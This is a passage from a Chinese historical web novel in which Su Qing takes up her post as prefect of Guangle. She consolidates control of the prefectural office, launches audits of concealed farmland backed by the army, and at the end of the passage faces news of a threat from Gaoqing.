那如果,这一栋楼里,只有你家干净,其他各家都是蟑螂老鼠遍地。 你家的情况,必然格外糟糕。 最好的办法,便是站的高一点,远一点。 把这一带都治理干净。 从而减轻本地治安问题,物价问题。 这,似乎才是解决之法。 所以只待在南江县,也解决不了南江县的问题。 苏清对此地虽有留恋,却也知晓自己该做什么。 不是急于离开这里。 而是急于让这里更加平安,更加稳定。 说严重点。 如今的情况尚且能控制。 如果发生更不能接受的事。 到时候的她,是绝对守不住南江县的。 让她眼睁睁看着众人的努力毁于一旦? 苏清不能接受,甚至不能想象。 永晟三年,七月二十六。 从金陵来的圣旨终于送到。 调原广乐府知府去徽州任从四品知州。 升南江县正七品县令苏清,为广乐府正四品知府。 一降一升。 谁听了不觉得惊愕。 尤其是后者。 正七品到正四品之间。 相差可谓天堑。 这都可以?! 就算朝廷没人,也太过夸张了啊。 可细数苏清的本事,这个职位似乎非她莫属。 用太后的话来说。 女县令都做了,为何不能做女知府。 朝廷情况特殊,那就特事特办。 不管所谓的酸儒愿不愿意。 不管朝臣们如何反对。 更不管广乐府情况如何。 苏清,就是要做广乐府知府了。 在金陵的顾从斯,扬州的叶山鸣,京郊准备打仗的总兵晏铮州。 再有广乐府驻军连飞扬,以及府城花景明。 所有人都做好准备,顺昌国头一个女知府,就要走马上任。 苏清放下县里的文书。 她已经准备好了。 八月初一。 打点好一切的苏清,带着家人手下,离开南江县。 从永晟元年六月到如今,两年多的时间,竟然过的那样快。 最后看一眼南江县。 苏清道:“走吧。” 广乐府府城。 她很快就到。 第38章 苏清去往府城,也是携家带口的。 梅娘跟弟弟苏澄自不用说。 今年七岁的苏澄依旧乖巧,结束县学的课程,便跟着离开。 苏三婶跟她儿子苏溪,也被苏清带上。 到底是亲戚,捎带手的事。 没了苏三叔之后,两家还算和谐。 接着便是朱娘子跟刘小妹,以及云喜。 苏清提前同齐内官说过,要带他们两个去府城,既然照顾他们的生活,也会替他们两个再找好的私塾读书。 朱娘子自然愿意跟着,她跟梅娘相依为命时间久了,已然像一家人。 跟着苏清,心里也跟安定。 后宅众人简单些。 衙门那边则有些难选。 苏清不仅不能把熟悉的人都带走,还要留下足够支撑南江县衙门的班底。 这里到底是她经营几年的地方,如今情况又这般好,不会随意拱手让人。 毕竟这里乱了,周围几个县更没依靠。 想来想去,苏清把罗主簿邬户房跟龚典吏留下来。 两人一文一武,正好合适。 他们都听从田县丞的安排。 现在田县丞的情况已经恢复的差不多了,虽然依旧容易精神紧绷,但做事上没有问题。 至于武捕头,邬户房还有费秀才,祝书吏,以及工房江主事,吏房魏主事。 以及他们各自熟悉的手下,差不多十四人,全都被苏清带走。 能被点名的官吏,自然高兴无比。 祝书吏家中也是非常高兴的。 从县衙到府衙,这升迁速度,比一般男子快多了。 这就是跟了个好上司的重要性? 没被点名的,诸如何漕运,白大夫郝大夫等人,别提多难过。 可他们身份同样重要,根本抽不开身。 在此之外,还有个特殊的地方。 县学。 县学顾教谕最近很少出门。 一个是大病初愈,还要养身体。 二是儿子的事情起起伏伏,让他不知说什么好。 最后,肯定跟苏清有关。 如果两家还未退婚,苏清这一走,肯定会带上顾家夫妇。 府学之前就说过,想让顾教谕过去任职。 如今更加合适。 而且冲着顾从斯,苏清也会带走他们。 但现在这种情况,则极为尴尬。 苏清跟梅娘商议之后,干脆道:“退婚书都已经写了,两家实则没什么关系,不必多想。” 在苏清看来,顾从斯那边一稳定,这对夫妇就会把那份文书寄过去。 这事甚至有顾从斯好友花景明做见证,做不得假。 由此来看,这事已然了结。 以后也不用过多来往。 至于府学那边要不要再请顾教谕去做事,就看学政的态度,跟她关系不大了。 顾家夫妇也保持这样的默契,并未多说,只等合适的时候,把两人婚事告吹的事说出去即可。 而且苏清这一走,对大家都好。 不过顾家之前认为,是他家先离开。 没想到率先举家搬走的,竟然是苏清。 今年十八岁的苏清,俨然是一家之主,早已承担起家庭的责任。 梅娘,朱娘子,甚至苏三婶,都以她为主心骨。 八月初五晚上,一行人格外高兴。 因为明天上午,就能到府城了。 那边的官吏已经安排好一切,只等他们进城。 众人讨论的热闹,苏清笑而不语。 费秀才祝书吏两个人最先发现不对劲。 他们两个虽性格不同,却一心竞争,都要比过对方,做苏大人身边最得力的助手,忙不迭问道:“大人,您怎么了?” 见两人同时说话,苏清笑:“明日就要到地方了,吃过晚饭后,商议一下接下来的事情。” 苏清离任赴任的速度极快。 毕竟七月二十六接到圣旨,八月初一就出发。 已经有人在背后说她是个官迷。 还说她也不知道矜持些,三辞三让不懂吗。 除开这些有的没的。 苏清也知道自己办事速度太快。 甚至身边这些人,也不太了解接下来要面对什么。 不过她都把大家拐到“贼船”上,现在贼船就在眼前,有些话,就该说明白的了。 等大家吃过饭,梅娘特意腾出一间房,让衙门前面的人开会。 她则带着家眷等人,打点明日行程。 驿站房间里,苏清坐在上面。 身边为费开宇费秀才,祝芳洁祝书吏。 一左一右坐着邬杉月邬户房,武永宁武捕头。 再往下是工房江劭江主事,吏房魏来魏主事。 除开苏清,这是六个人。 剩下的八人,四个为差役,两个是邬户房左右,剩下两个主事各带一人。 十五个人,将这间客房挤得满满当当。 正儿八经当主事又两年,为官有一年,不可能没有自己的心腹。 而能在这的,自然都是苏清极信任的。 明日就要进府城。 又是一番天地。 大家兴奋地等苏大人讲话。 苏清的头一句,却是一个疑问。 “大家知道,朝廷各派势力,为何推我当知府吗?” 此话不用多说,其实很多人都明白的。 那就是广乐府知府位置,太难当了。 战后空置了一年,好不容易来了个人,看到总兵走了,也急着离开。 无非因为,他们距离皋青州最近,那边说不准什么时候就会打过来。 就算没打过来,广乐府的战后重建,以及士兵们物资补给,都会让所有人头疼。 看着大家细数其中艰难,苏清反而又笑了。 邬户房道:“大人,您认为呢?” “为了背锅。”苏清直白道,甚至害怕自己说的还不够直白,继续解释,“为了过渡。” 广乐府的情况,所有人都知道。 内忧外患,不必多说。 朝廷真的不想解决吗? 那也未必。 如果没有京城的事情,等总兵收复皋青州,广乐府就会逐步恢复正常。 可惜这个突发事件,让广乐府变得岌岌可危。 越是这种时候,越不能放弃此地。 毕竟皋青州的武勇王爷还在,如果真的不把广乐府整治好。 等武勇王爷恢复元气,打下广乐府,顺着河道航运直通金陵! 南江县的码头,是可以直通江南的,这点大家都知道。 为了金陵朝廷,也要派个能臣治理此地。 问题是,谁过来呢? 如今的烂摊子,总要有个背锅的。 让上一个知府,还是现在的知府? 他们背后的家族怎么可能同意。 苏清的出现,便是个很好的过渡。 让苏清这个女子,坐上这个位子,时间不用长,两三个月即可。 到时候的,不管广乐府出现什么事,都能推到她身上。 反正她是个女的,还没有功名,背后更没什么家族势力。 是天赐的背锅侠。 苏清自己看,都觉得她有些过于完美了。 讲明白这些,众人脸色变了。 费秀才最是恼火:“他们怎么可以这么想?!” “而且,他们明知道武勇王爷在休养生息,难道还不着急?” 火烧眉毛了,还要找个背锅的?! 祝书吏垂头,只觉得恶心。 邬户房武捕头脸色同样难看。 其他人自不用讲。 邬户房到底稳重,拱手道:“大人既然看出来了,为何?” 苏清笑:“既然有这个机会,不抓住才是可惜。” 苏清看了看众人,直接道:“我说这些,并不是让大家担心,而是让所有人心中有数。” “此行会极为艰难。在三个月内站稳脚跟,才能在府衙待下去。” “若不成,咱们这些人,只怕连南江县都待不成。” 到时候他们大概率各回各家。 众人面面相觑。 三个月的时间? 怪不得大人急着过来。 前任知府用了一年时间,还没弄清楚这里的情况。 他们? 武捕头一拍桌子:“当年南江县都快完了,还是苏县令一手扶持起来。” “能整治好一个南江县,就不信整治不好其他地方。” 想到过往种种。 想到南江县俸禄都发不起的日子。 众人反而多了几分热血。 对啊。 以前再难,不都过来了。 不行就回去呗。 邬户房想到什么,笑道:“实在不行,咱们跟苏县令一起做买卖去。” 那会她虽然没在衙门做事,却听说了的。 这让大家想起去年那会。 都说南江县要来新县令,苏大人则要做买卖,大家都愿意跟着他。 甚至江南叶家,那叶大少爷亲自请她做广乐府分号掌柜。 如今的情况虽然艰难,却也不是没机会,更不是没退路。 他们怕什么啊。 不用自己多说,手下众人便鼓舞起精神,苏清有些哭笑不得。 大家对她,未免也太有信心了? 这样也好,至少知道手下不会跑路就对了。 知道朝廷的意思后。 接下来就要安排大家的差事。 费秀才祝书吏作为她的长随,帮忙处理文书信件。 武捕头为府衙捕头,摸清衙门三班情况。 邬杉月需要尽快接手户司差事。 还好她父亲当年就在府衙当差,她跟着帮忙,对此有些经验。 剩下的工房江主事,吏房魏主事,也要尽快接手府衙的工司,吏司。 从县衙跳到府衙。 对他们所有人来说,都是巨大考验。 而且这几个地方都极为重要。 三班管治安。 剩下的户司管钱,吏司管人事安排,工司则后续有大用。 先把重要的抓到手中,剩下的就好说了。 费秀才道:“大人听说现在那知府,要带走不少人。” 苏清微微点头:“这是好事,愿意走的尽快走,留下反而碍事。” 他们不想在自己手底下做事。 搞的她很愿意看到他们一样。 安排好各自的职责,苏清郑重道:“既然都走到这一步了,就不能松懈。” “为了南江县,为了广乐府。” “为了尽量不打仗,我们都要守好此地。” 前面的话,大家还能理解。 后面的? 尽量不打仗? 武捕头瞬间看向广乐府跟皋青州交界处。 那里还有六万驻军,甚至他两个儿子,都在其中。 他立刻打起精神。 为了不打仗。 至少撑到总兵收复京城,然后赶赴广乐府啊。 这番谈话,让苏清手底下的人既激动又紧张。 明日就能看到府衙的人了。 他们这些人也算一步登天。 不过他们要让那些准备看笑话的人知道。 能把南江县变得那样好,他们可不是吃白饭的! 众人散去,苏清也准备休息。 不过她还没回房,就见云喜探头探脑。 云喜挠挠头,明显有话要说。 苏清找了张空桌子坐下来,开口道:“云喜怎么了?” 云喜又挠挠头:“苏姐姐,我跟小妹到了府城,还要读书吗?” 这话说的好笑。 苏清点头:“当然了,你齐叔极看重这个。” 十四岁的云喜已经有小伙子的模样,听到这话,赶紧把齐内官的信拿出来。 云喜身世坎坷,认干爹的时候,也是稀里糊涂听苏清的话,直接磕头认亲。 没等他体会到亲情,余内官就没了。 反而是后来的齐内官,他喊一句齐叔,有些真正的孺慕之情。 “我求了齐叔很久,他说可以!” 苏清接过信件,果然是齐内官亲笔所写,齐内官语气带了些无奈。 说云喜既然实在不想读书,那就不读了,跟着苏大人也好。 让他多跟苏大人学做事,回头年纪再大些,可以跟在内官手底下跑腿。 内官都是宫里的人。 云喜要是真能混个差事,还是很不错的。 见齐内官都答应了,云喜也确实不想再读下去,苏清只好点头:“以后跟在我身边跑跑腿,跟之前一样。” 小妹还会继续读书,她对此并不排斥。 身边人安排的差不多了,苏清让云喜去休息,自己走出门口透透气。 驿站门前,只有几个伙计在喂马。 八月的夜晚有些凉意,再抬头看漫天星辰,又是不同的感觉。 明日,就是新的开始。 她已经做好准备了。 永晟三年,八月初六。 苏清骑着高头大马来到广乐府府城。 府城门口,已经有衙门三班六房主事,以及各级官吏恭候。 再看彩旗招展,鼓乐齐鸣。 又有差役排兵开道,民夫人力齐列。 上上下下几百人肃立相迎。 见苏清来了,再看她是个女子,不少人面露难色。 倒是以前的广乐府知府,现在的徽州知州赵嘉致,笑眯眯道:“恭候苏知府多时了。” 苏清下马,看着身量尚不如她高赵知州,拱手笑道:“赵知府,久闻大名。” 两人四面相对,都知道对方的想法。 他们就不是一路人。 “已经不是知府了,等苏大人接手,下官就要去徽州赴任。”赵嘉致摸着胡子,努力提拔身姿,“想来苏知府行动迅速,应该不用太久吧?” 这是在讽刺苏清,刚接到圣旨,便急匆匆上任。 都说心急吃不了热豆腐。 当官一事上,更是如此。 小小黄毛丫头。 还当知府? 做你的春秋大梦吧。 苏清跟他话不投机半句多,不过大家场面功夫还是做到了,众人迎她进府衙,气氛好不热闹。 迎接的人当中,苏清还看到一个熟面孔。 花景明站在大哥二姐后面,朝苏清招了招手,表情极为丰富。 若不是他生的仪表堂堂,怎么看怎么好笑。 来到府衙前三天,那赵嘉致带着苏清认了府衙各级官吏。 按理说知府手底下应该有同知通判两个官员,但广乐府自是没有的。 余下三班六房,以及推官知事,学政等人,倒是改见的都见了。 苏清记忆力不错,认人也有些窍门,赵嘉致没在这上面找到错漏,便又介绍起府城世家大族,豪门大户。 广乐府府城称第一的,自然是花家。 可惜这家对苏清也是客客气气,不知是不是花景明的缘故,还是人家根本懒得掺和朝廷的事。 余下各家各有想法,倒是城里丝绸买卖最好的,竟是叶家。 竟都是熟面孔? 苏清在认人一项上没有丢人。 安排到手底下各司的心腹,同样有所进展。 当初南江县什么样子,大家心里都明白。 能从那里摸爬滚打出来的,并不害怕这些勾心斗角。 再者,官大一级压死人。 有苏知府给他们撑腰,他们要是做不出些成绩,就不该被带过来的! 等到八月十二,赵嘉致恨恨离开,依旧抓不到苏清的错漏。 “确实有几分本事。” “本以为入城的场面能把她吓到,谁想到她竟然坦然享受。” “府城各级官员极多,她看了一次,竟然都能记住面孔跟名字。” 赵嘉致咬牙:“算了,这才是个开始。” “等她看到户司账册,就知道我为什么问她要税款了。” 广乐府的账册。 那还真是一笔烂账。 而此时户司书吏邓乡简直坐立难安,双腿不停颤抖。 自他听说,苏清要当广乐府知府之后,便一直是这个状态。 户司其他人都知道他怕,也知道怕什么。 还记得当初,跑去南江县问苏大人要税款的户司书吏是谁吗? 正是他啊! 这邓乡还想求赵知州带他离开。 可那赵嘉致只认银子,谁给他的银子多,就带谁走。 他家境不好,哪有贿赂可给啊。 不能走。 就只能面对苏大人。 他这是完蛋了啊。 现在衙门都知道,苏知府记忆力极好,肯定会记得他的。 “邓乡,愣着干什么,邬户司喊我们去见知府啊。” “拿着账册,赶紧去啊。” 户司其他人没工夫理会邓乡的惧怕。 他们哪个不是心情忐忑。 衙门来个女知府就算了。 还来了个邬杉月邬户司,也是个女的。 而且对账目一目了然,对户司事情了如指掌,谁都糊弄不过去。 这让户司众人分成两派。 一派觉得屈辱,被两个女子管着。 另一个竟心生希望。 邬户司先不提,确实有些本事,但没见真章。 可苏知府却不同。 作为户司,最知道南江县税款变化。 这般起死回生的手段,正是广乐府需要的。 邓乡磨磨蹭蹭跟着众人,平日积极做事的他,现在走在最后面。 苏清一抬头就看到他了,笑着道:“邓乡?就你来说说户司情况吧。” 第39章 邓乡被点名,完全在意料之中。 此刻府衙正堂上,上面端坐着苏知府,两侧为费秀才,祝书吏。 再往下坐着的,正是邬杉月邬户司,还有户司副主事老杜。 户司其他九人,都在下面答应回话。 众人看着邓乡的表情,暗自庆幸。 幸好当时没去找苏清麻烦,否则现在遭罪的,也有他们了。 邓乡战战兢兢答话,确保回答的正确无误,不让新知府找到错漏。 苏清认真听着。 她来府城有六天时间,该熟悉都熟悉了。 对于三班六房情况,大概也有了解。 让她意外的是,上一任知府在这一年时间,并非什么都没做。 衙门大部分不做事的,都被他或赶或贬,留下来的,都是有些能力的。 不过也止步于此了。 因为最重要的税收,还是一塌糊涂。 比如说这户房的账目。 从上上一个知府,就是那个刚开始打仗,就逃跑那位。 在他的手中,广乐府情况就不算好,先是旱情严重,接着是盗贼四起,最后直接战乱。 那几年的税收,一直处于入不敷出的状态,甚至还欠着朝廷的银子。 反正明面上看是这样的,至于是否有猫腻,那就不得而知了。 上一任的赵大人只说各类文书失窃,已经无从查证。 至于在赵大人手中,看的出来他在尽力挽救,却于事无补。 不过他在去年年底的时候,好像找到救命稻草,让各地跟着南江县种药材。 当然也闹出药材过多,粮田太少的问题。 现在粮价过高,也有他的问题。 总结下来便是。 上上任知府坏。 上任知府是蠢。 折腾几年,烂摊子到苏清手中。 邓乡还在继续说:“广乐府一城十七县,各县分为上中下三等。” 像他们所在的府城,肯定是广乐城了。 主要税收,依靠码头货运,各项买卖,以及周围种的各类果树。 粮田也有,但不占大头。 上县有三座,广乐城左右两县,良田万顷,人口皆在三十万往上。 第三个县肯定就是南江县了,如今靠粮食跟药材两项,货运也在逐步增加,如今人口也有二十六万。 中县则有十个,也是种田为主,多数都不能自负盈亏,更别提税收。 剩下四个下县,分明为江北县,江五县,尚口县,依松县。 这几个地方,大家都已经很熟悉了。 江北县驻扎将士,一直得不到发展,情况极差。 后面三个,以前在叛军手中,被盘剥的厉害,去年才收回。 情况最糟的,肯定是依松县,如今那六万大军,就在他们县郊守着。 中县的收入,尚且不能自负盈亏。 下县的情况,只会更坏。 了解这些情况时,苏清意外知道一件事。 总兵还在依松县的时候,提过调她去任县令。 大约是想让她负责前线后勤。 没想到京城兵变,总兵临时改了主意,让她直接来当知府,负责一府事务。 好好好。 自己不就拿了他一本字帖。 就被这样用? 是不是该感谢他,看得起自己? 苏清懒得再想,朝邓乡稍稍点头:“不错,各县情况介绍的很清楚。” 这让邓乡终于能喘口气了,开始总结他们府衙的情况。 “因为除了咱们府城跟三座上县,其他各地都交不上税,所以也只是维持府衙的运转。” “去年朝廷免了咱们广乐府的税银,今年恐怕不行了。” “而且您也知道,那六万驻军,还等着后勤补给。原本供给他们的物资,已经转移到京郊了。只能咱们广乐府来出。” 越说下去,在场众人的头就越低。 反而是苏清带着的几个人,对此都有心理准备,看起来没那么沮丧。 等邓乡站回自己的位置,正堂上鸦雀无声 所有人都等着苏知府开口。 南江县的情况,大家都知道。 苏知府会用什么方法,能把税收上来? 苏清见他们一脸期盼,无奈笑道:“马上就是秋收,需要你们出一趟差。” 出差? 户司众人面面相觑。 门外又来了一堆人马,正是魏吏司带着的吏司众人。 很简单。 吏司跟户司结伴,去下面各县看看情况。 只查一件事。 各地田地情况,是否有隐瞒田地,隐瞒人口等等问题。 此言一出,众人脸色变了。 说白了,就是查土地兼并的问题。 下面各县会同意吗?! 就算县令配合,当地大户乡绅会配合吗? 弄不好,就会命丧于此! 别说户司众人脸色不好看,吏司众人的脸色,难道就好了? 查账,查田税。 自古就是要命的差事。 他们还以为苏知府有什么好办法创收呢。 没想到竟然就做这件事?! 面对众人的怒火,苏清毫不在意。 还是那句话,这些人指望她想个新法子,就像南江县一样,凭空造出种药的方法。 好填补本地的亏空。 至于因战乱加速的土地兼并问题,最好装作看不到。 说白了。 广乐府户司也好,走的那位赵大人也好。 怎么可能不知道,各县收不上税的真正原因。 多半因为,土地都被各地大户隐瞒,不肯交田税罢了。 这种事古往今来都有。 仿若房子里的大象一般,大家都装作看不到。 毕竟真的要动它,大家还是要掂量掂量,自己有没有这个命。 这种劳心劳力的事,他们才不愿意做。 户司副主事老杜起身,皱眉道:“这就是大人想的法子吗。” “是不是,太草率了些。” “清查田地这种事,要慎重。” 不是不查,而是不能这样着急。 赵大人在这一年,都没能动手,您这样是不是太急切了。 苏清敲了敲桌面,笑着道:“查田税,清土地,实乃衙门的根本。” “若这些都不查,广乐府还真是空壳子。” 苏清看着户司跟吏司众人,直接问道:“三个上县,以及有驻军的依松县除外。” “其余十个中县,三个下县,则要派三组人马前去。” 苏清直接点名,户司出两人,吏司就出两人,结成第一组。 点到第三组的时候,有些人已经忍不住了。 “大人!就算我等只是听差的,也不该这般被使唤。” “您也要问问,我们同不同意啊。” 此言一出,更有人附和道:“下面那些大户,哪些是好相与的,查他们的土地,太难了。” “他们养的家丁猎狗极凶,大人您是不知道。” 话说到这,有人意识到如今的苏知府,当年是怎么当上苏主事。 那时候的她,就是跟县里大户比拳头,这才拿下王乡绅,让下面人不敢作乱。 她不知道乡绅大户们的手段吗? 她知道的。 可她就是逼着大家去应付他们。 等众人一一闭嘴,苏清眼神冷然,扫过眼前众人。 都说,有什么的将就有什么样的兵。 她带出来的人是什么样,自不用讲。 赵大人带出来的人,便有一个特点。 软弱。 这是缺点,也是优点。 苏清并不理会他们,继续方才的话:“三组人马,已经分好了。” “趁着秋税正在收缴,现在是查案的好时候。” “十个中县,三个下县,有些不好分。” “所以前两个领命的,可以优先选择,领四个县即可。” “最后一组人,只能包揽余下五个县了。” 此话一出。 那三组人马傻眼了。 邓乡立刻跳出来:“我,我们组选这四个县。” 邓乡给同组人使眼色,赶紧答应啊。 苏清的手腕,你们还不清楚? 她说到做到的。 而且自己选的这四个县,情况都好些,危险不多的。 有一个人带头。 其他人勉强跟上。 剩下的两组也有人跳出来领命。 不领能怎么办。 苏县令明显要给大家一个下马威。 不听话肯定不行吧。 至于这差事做的怎么样,那就听天由命了。 苏清自然知道他们的想法,朝魏吏房点点头。 魏吏房道:“此次公差办的如何,吏司自有考核。” “等秋税结束,知府大人自有公论。” 三组人,不仅要去查案,还有竞争。 这般严苛,真不是人做的差事。 要不然辞了这鸟官? 心里这样想,但能放弃这官职的,早就跑了,谁还会留到现在。 众人只能咬牙领命。 以前都是混日子的,现在却要真的办公差。 多数人心里,都是叫苦不迭。 谁料苏知府却又开口了:“大家不用担心安危问题。” “我与军中关系不错,已经给军中连飞扬连千总去信。” “此次清查田地,只为帮驻军筹粮,倘若有人阻拦,当地守备将士,不会允许的。” 苏清跟军中关系好,已经不是秘密。 她在南江县时,救过多少伤兵,大家心里都有数。 为了救治他们,还跟府衙起过争执。 故而她遇到危险,即便是伤兵也愿意帮忙。 现在她为了将士们后勤补给,清查各地田地情况。 军中会支持吗?! 答案是肯定啊。 为了安他们的心,苏清把连飞扬的信拿出来,让大家传阅。 连飞扬人如其名,信件也写的肆意,更是直言他会给十几个县的守备千户都写信。 看在他的面子上,大家会保证调查官员的平安。 连飞扬都这样说了。 各县都会卖这个面子。 否则真惹出事,军中现在可能不理你。 等遇到危险,那第一个完蛋的,必然是他们。 悬而未决的刀剑,才是最可怕的。 而军中是有真刀真枪的。 “原来苏大人早有准备。” “怪不得啊,我等实在愚钝的。” “长官早有万全之策,这下就放心多了。” 邓乡等人擦着头上的汗,下意识心道:“不愧是苏清,着实厉害。” 只听苏清继续道:“此事若成,广乐府还能送出税款给到金陵。” “朝廷暂居金陵,正是要使钱的时候。” “都说锦上添花易,雪中送炭难,想来皇上知道大家这份孝心,一定会记住的。” 巴掌给了。 安全也保障了。 现在需要一颗甜枣。 对啊。 他们要是把差事办好,皇上那边,肯定会记住的啊。 听说苏知府的未婚夫在金陵朝廷可是红人。 甚至比那鲁地的大儒都能言善辩。 若是讨好了他们。 那以后的前途? 一时间,场上热闹非凡。 不管是真心想做事的,还是被利诱的,终于高兴起来。 送走他们时,罗主簿忍不住低声道:“大人,他们能行吗?” 苏清笑:“可以怀疑他们的心思,却不能怀疑他们的能力。” 混官场混到现在,谁没几百个心眼。 有些事不是能不能做到,而是想不想做到。 再说了,各地都差成这样了,再差又能怎么样? 往前迈进一步,都算有所收获。 说句不好听的,便是折进去几个,对她也未必是坏事。 苏清这边派人出去。 下面各县则慌乱不已。 知道新官上任三把火。 谁想到能烧成这样? 新知府刚上任,什么都不管,就来查田地? 各地县令表情不一,心里没鬼的,其实极为欢迎。 跟地方勾结的,便各藏心思。 可派来的调查的官员,又有军中的保命牌,谁也不好动他们。 不管怎么样,都要出点血了。 对于他们如何整治乡绅恶霸,每日都有文书递上来。 苏清能帮则帮,能给建议自然不吝啬给建议,剩下的,就是静观其变。 至于没有派官员的三个上县,以及驻军所在的依松县,并非置之不理。 “费秀才祝书吏,你们两个去左右两县。” “罗主簿,要让你亲自跑一趟,去依松县。” 最后的南江县,苏清派了户司副主事老杜前去。 老杜有些诧异。 自己? 去苏知府的地盘? 能查到什么? 苏清今年近五十的户司老杜极有能力,只是被差事折磨的没什么心气。 她才不管有没有什么心气,既有能力,就该好好干活才。 “您尽管去查,若有疏漏,直接指出即可。” 苏清是指派差事,也是向老杜示好。 让这位手下知道,她既然敢让人查,就不怕出纰漏。 凡事自己做的好了,才能让他人信服。 等到八月二十,苏清上任广乐府之后的第一件差事,不仅传到广乐府各地,同时也传到金陵。 如此激进的手段,让不少人都侧目。 查田税这种事,多数官员都不愿意碰。 即使所有人都知道,这事一碰一个死,也是不愿意的。 里面的利益太大,何必为此得罪人呢。 对此,江南各家对此反应激烈,各个上书抨击。 说女子做官果然不行云云。 本以为此言一出,京城那些士族们,肯定跟着反对。 哪家还没个烂账。 真让苏清这种人大行其道,大家一起完了。 可那些京城士族却支支吾吾,不肯多讲。 很快,江南士族明白过来。 自家田地还在。 可京城士族们的田地,如今已经不在手中。 他们个个穷的要命,正指望苏清这种官员,从地方上多收敛财物,好送过来啊。 甚至苏清自己都说,他们把广乐府田地清查好,就能送银子到金陵,就能送银子给皇上太后。 这话说起来粗俗。 但人生在世,谁不需要银子呢。 反正皇上太后知道这话,便压了对苏清的弹劾。 金陵那边吵吵嚷嚷,跟广乐府没什么关系。 苏清顶多把皇上的态度传达给出去办差的众人,以此鼓舞他们。 到八月末,广乐府下面各地情况,陆陆续续送回来。 首先是左右两县,因为距离州城很近,账目没什么好查。 各家手脚都干净,揪不出大错。 尤其是在府城,以及左右两县产业都多的花家,称得上“干干净净”,至少表面上是这样。 户司老杜也从南江县回来。 他跟他的手下,一路上的心情都极为复杂。 因为南江县的情况,是真干净,不是装出来的那种。 百姓们安居乐业,码头商业太平安稳。 若他致仕之后,都想选南江县颐养天年了。 甚至今年的税收,还是稳居广乐府之最,这还是扣掉伤兵疗养费之后的数目。 回来之后老杜以及他的手下,对苏知府只有敬佩。 此话传到其他各司耳朵中,难免又有讨论。 而那十个中县,三个下县。 情况复杂的多。 期间不乏斗智斗勇,甚至有生死相搏。 结果虽然参差不齐,但清理不少土地兼并的恶行,撤回一些不合理的交易。 总体来说,百姓们还是称快的。 苏清也从中挑出几个能力不错,又有想法的,回来之后,就被提拔起来得以重用。 最后的依松县,罗主簿回来之后,只把情况同苏清说了,其他人不用知道。 那里到底有驻军,情况特殊。 这一番大动作,确实很有成效。 至少今年的税款明显比往年增多,零零总总加起来,竟然也有七十六万两白银。 对比战前,肯定还是不如的。 但比之前两年,情况明显好多了。 可是从下面回来的邓乡明显感觉有些不对劲。 他们走之前,府衙众人,有这么听苏清的话吗? 怎么不到半个月时间,三班六房人人听令? 苏清除了自己带来的人手之外,甚至还有了别的心腹? 邓乡冷汗直冒。 发现这点的,不止他一个人。 户司副主事老杜坐在位置上,低声道:“分而划之。” 要说三班六房里,最重要的便是户司跟吏司。 苏清一来,先是把自己的人安排进去,然后指使他们去做件极难的差事。 不管能不能做成,人都出去了。 那剩下的人,自然能为她所用。 这哪里是查各地的田。 分明是一石二鸟,顺便降服本地人事。 人家利用秋税之事,摸清楚府衙所有人,提拔自己能用的。 这动作看似激进,实则用了不到一个月。 就把所有人玩弄在股掌之间。 如此来看,提高了本地田税,竟然是捎带手的?! 不对。 老杜皱眉,也不是捎带手。 看南江县的情况就知道了。 苏清这人掌权的目的,就是为了百姓。 “有些好奇,接下来你会怎么做。如此着急掌握府衙,为什么?”老杜眼神闪过精光,似乎来了精神,又多添疑惑。 此刻的苏清,看着广乐府七十六万税银。 再看着各处要银子的文书。 “哪都要钱。”费秀才吐槽道,“江北县,江五县,尚口县,依松县四地要修城墙,请求拨款。” “还有几个县的河堤需要修缮。” “再有府城城墙官道破旧,同样要修。” “甚至官学那边都说房屋倒塌,继续补救。” 苏清听他吐槽,抬头笑道:“继续说啊。” 费秀才咬牙:“金陵朝廷也要钱。” 这会也就苏清,费秀才,祝书吏。 祝书吏见他胆大,赶紧提醒:“别乱说。” “都是自己人,怕什么。”费秀才忍不住道,“苏大人,您要不然跟顾举人说一说,让他跟皇上求求情。” “咱们广乐府自己的银子都不够花,军中那边的文书说话间也要到了。” “真没多少银子。” 苏清摇摇头道:“顾举人不容易。” 他顶了不少压力,虽然信里没说,却不能当做不知道。 不管金陵那边的银子给不给,都不能让顾从斯多说,否则只会害了他。 只是这次的信里,让苏清意识到一件事。 顾教谕夫妇,是不是还没把退婚书送过去? 否则这信里,为何说给她买了两幅好头面。 依照苏清来看,那顾夫妇不是早就盼着退婚? 甚至自己这官做的越大,他们越想退婚。 苏清有些头疼,把信件塞到底下:“军中内官什么时候到?可有消息。” 祝书吏立刻道:“齐内官明日就来。” 方才费秀才说的种种花销,跟军中后勤相比,简直不值一提。 只有等齐内官来了,他们才能盘算今年的税金要用在何处。 不过想也知道。 这点银子,并不算什么。 苏清觉得自己头更疼了,金陵那边的文书,不仅不能帮忙,反而都帮倒忙。 说起来,总兵已经到京郊了,那边战事如何,也没个消息。 不管了,先顾好眼前再说。 广乐府这边,也是时间不等人的。 第二日傍晚,一路奔波而来的齐内官面色苍白。 他见到苏清时,心里简直五味杂陈。 头一回见苏清的时候,她不过是南江县主事。 自己还对她满腔怒火,觉得这人狡猾地厉害。 如今的苏清已然穿着深绯色官服,腰间金带显得人格外挺拔。 已然是名副其实的朝廷命官。 看她的精神尚好,显然已经掌握整个广乐府府衙。 这般能力,谁人不敬佩。 齐内官心里感叹。 谁能想到,广乐府百万人口,驻军几万将士,所有人的身家性命,都在苏清这个女子手中。 她接下来的安排,将决定所有人的命运。 可她的为人,又让齐内官觉得,自己要说的事,其实并不难答应。 至少对苏清来说,是这样的。 云喜跟小妹先来拜见齐叔,又跟着伺候茶水点心。 三人虽无血缘关系,却也靠着已故的余内官,成了真正的亲人。 齐内官见两个孩子身量都高了些,头发衣裳整齐,就知道是好好养着的,叹口气道:“苏大人,听说您七月底接到圣旨,八月初六就到了府衙。” “如今不过八月三十,便已经把府衙上下握在手中,下面各县也多是听令的。” 都说文官讲究和气儒雅。 这么听起来,好像说的苏清很心急一般,颇有些贪权之感。 但苏清并不会为此生气,她看的出来齐内官还有话要说。 “苏大人,您这般急切。” “可是知道些什么?” 苏清跟总兵的见面,极少有人知道。 齐内官这么问,也是猜测而已。 他想知道,苏清是不是听说了什么。 那些事,是金陵朝廷都不清楚,或者说不愿意清楚的。 苏清见齐内官开门见山,干脆道:“齐内官来的也急切,是否也有要事。” “是不是皋青州,有异动。” 皋青州。 武勇王爷的地盘。 此言一出,齐内官手下深吸口气,显然早就知道。 云喜小妹费秀才祝书吏等人,则一脸不敢置信。 尤其是云喜跟小妹,吓得咬住嘴唇,整个人带着颤抖。 小妹握住哥哥的手,几乎要哭出来。 大家都知道,这意味着什么。 意味着京城战事未平。 皋青州可能就要打过来了。 